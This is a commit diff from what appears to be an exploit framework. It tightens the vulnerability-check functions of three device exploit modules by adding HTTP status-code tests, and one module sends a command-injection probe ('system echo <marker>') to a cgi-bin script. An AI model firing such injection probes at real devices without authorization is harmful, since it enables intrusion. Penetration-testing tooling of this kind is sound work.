Commit 63598d85 by Marcin Bury

Fixing false positives - status code.

parent 52e0afee
......@@ -64,10 +64,13 @@ class Exploit(exploits.Exploit):
def check(self):
mark = random_text(32)
cmd = "echo {}".format(mark)
url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd))
response = self.execute(cmd)
response = http_request(method="GET", url=url)
if response is None:
return False # target is not vulnerable
if mark in response:
return True
if response.status_code == 200 and mark in response.text:
return True # target is vulnerable
return False
return False # target is not vulnerable
......@@ -80,7 +80,7 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
if mark in response.text:
if response.status_code == 200 and mark in response.text:
return True # target is vulnerable
return False # target is not vulnerable
......@@ -68,7 +68,7 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
if 'wifi_AP1_ssid' in response.text:
if response.status_code == 200 and 'wifi_AP1_ssid' in response.text:
return True # target is vulnerable
return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment